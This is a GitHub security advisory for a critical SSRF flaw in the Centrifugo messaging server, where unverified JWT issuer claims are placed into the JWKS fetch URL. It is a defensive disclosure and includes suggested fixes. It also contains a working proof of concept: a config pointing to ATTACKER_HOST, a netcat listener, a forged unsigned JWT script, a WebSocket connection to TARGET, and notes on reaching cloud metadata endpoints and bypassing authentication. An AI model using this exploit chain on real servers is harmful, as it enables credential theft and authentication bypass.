GitHub Advisoryadvisory · Go
GHSA-j77h-rr39-c552 Centrifugo: SSRF via unverified JWT claims interpolated into dynamic JWKS endpoint URL
CRITICAL
Official page ↗
- Aliases
- CVE-2026-32301
- Ecosystem
- Go
- Packages
- github.com/centrifugal/centrifugo/v6, github.com/centrifugal/centrifugo, github.com/centrifugal/centrifugo/v3, github.com/centrifugal/centrifugo/v4, github.com/centrifugal/centrifugo/v5
- Severity
- Critical
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
- Weaknesses
- CWE-918
- Reviewed
- 2026-03-13
Affected packages
• Go github.com/centrifugal/centrifugo/v6: < 6.7.0 → fixed in 6.7.0
• Go github.com/centrifugal/centrifugo: <= 2.4.0 (no fix yet)
• Go github.com/centrifugal/centrifugo/v3: <= 3.2.3 (no fix yet)
• Go github.com/centrifugal/centrifugo/v4: <= 4.1.5 (no fix yet)
• Go github.com/centrifugal/centrifugo/v5: <= 5.4.9 (no fix yet)
Description
Summary
Centrifugo is vulnerable to Server-Side Request Forgery (SSRF) when configured with a dynamic JWKS endpoint URL using template variables (e.g. `{{tenant}}`). An unauthenticated attacker can craft a JWT with a malicious `iss` or `aud` claim value that gets interpolated into the JWKS fetch URL before the token signature is verified, causing Centrifugo to make an outbound HTTP request to an attacker-controlled destination.
Details
In `internal/jwtverify/token_verifier_jwt.go`, the functions `VerifyConnectToken` and `VerifySubscribeToken` follow this flawed order of operations:
1. Token is parsed without verification: `jwt.ParseNoVerify([]byte(t))`
2. Claims are decoded from the unverified token
3. `validateClaims()` runs — extracting named regex capture groups from
`issuer_regex`/`audience_regex` into `tokenVars` map using attacker-controlled
`iss`/`aud` claim values
4. `verifySignatureByJWK(token, tokenVars)` is called — passing attacker-controlled
`tokenVars` to the JWKS manager
5. In `internal/jwks/manager.go`, `fetchKey()` interpolates `tokenVars` directly
into the JWKS URL:
`jwkURL := m.url.ExecuteString(tokenVars)`
6. Centrifugo makes an HTTP GET request to the attacker-controlled URL
Suppressed the security linter on this line with an incorrect comment:
`//nolint:gosec // URL is from server configuration, not user input.`
The URL is NOT purely from server configuration — it is partially constructed from unverified user-supplied JWT claims.
Signature verification happens too late — after the SSRF has already fired.
PoC
Required config (`config.json`):
```json
{
"client": {
"token": {
"jwks_public_endpoint": "http://ATTACKER_HOST:8888/{{tenant}}/.well-known/jwks.json",
"issuer_regex": "^(?P[a-zA-Z0-9_-]+)\\.auth\\.example\\.com$"
}
},
"http_api": { "key": "test-api-key" }
}
```
Step 1 — Start listener on attacker machine:
```
nc -lvnp 8888
```
Step 2 — Generate malicious unsigned JWT:
```python
import base64, json
def b64url(data):
return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
header = b'{"alg":"RS256","kid":"test-kid","typ":"JWT"}'
payload = b'{"sub":"attacker","iss":"evil-tenant.auth.example.com","exp":9999999999}'
token = f"{b64url(header)}.{b64url(payload)}.fakesig"
print(token)
```
Step 3 — Connect to Centrifugo WebSocket with the malicious token:
```python
import websocket, json
ws = websocket.create_connection("ws://TARGET:8000/connection/websocket")
ws.send(json.dumps({"id": 1, "connect": {"token": ""}}))
print(ws.recv())
```
Step 4 — Observe incoming HTTP request on attacker listener:
```
GET /evil-tenant/.well-known/jwks.json HTTP/1.1
Host: ATTACKER_HOST:8888
User-Agent: Go-http-client/1.1
```
Malicious token being crafted with suppress_origin=True bypassing the 403, and the token sent to Centrifugo:
Centrifugo Server Log:
netcat terminal:
Impact
• Unauthenticated SSRF — No valid credentials required
• Attacker can probe and access internal network services not exposed externally
• On cloud deployments: access to metadata endpoints (AWS: `169.254.169.254`, GCP: `metadata.google.internal`) to steal IAM credentials
• Attacker can serve a malicious JWKS response containing their own public key, causing Centrifugo to accept attacker-signed tokens as legitimate — leading to full authentication bypass
• Exploitation requires `jwks_public_endpoint` to contain `{{...}}` template variables combined with `issuer_regex` or `audience_regex` — a configuration pattern explicitly documented and promoted by Centrifugo
Suggested Fix
1. Verify signature BEFORE extracting tokenVars (critical fix):
In `token_verifier_jwt.go`, swap the order of operations:
```go
// CURRENT (vulnerable) order:
// 1. ParseNoVerify
// 2. validateClaims() → populates tokenVars from unverified claims
// 3. verifySignature(token, tokenVars) ← too late
// FIXED order:
// 1. ParseNoVerify
// 2. verifySignature(token) ← verify first with empty/nil tokenVars
// 3. validateClaims() → only now extract tokenVars from verified claims
// 4. If JWKS needed, re-verify with tokenVars using verified kid only
```
2. Fix the incorrect nolint comment in `manager.go`:
Remove `//nolint:gosec // URL is from server configuration, not user input` The URL IS partially constructed from user input via JWT claims.
3. Alternative mitigation:
Restrict template variables to only the `kid` header field (which is not claim data) rather than allowing arbitrary claim values to influence the JWKS URL.
```
Related
Alias · CVE (1)
- CVE-2026-32301 Centrifugo is an open-source scalable real-time messaging server. vulnerability
Weakness · CWE (1)
- CWE-918 Server-Side Request Forgery weakness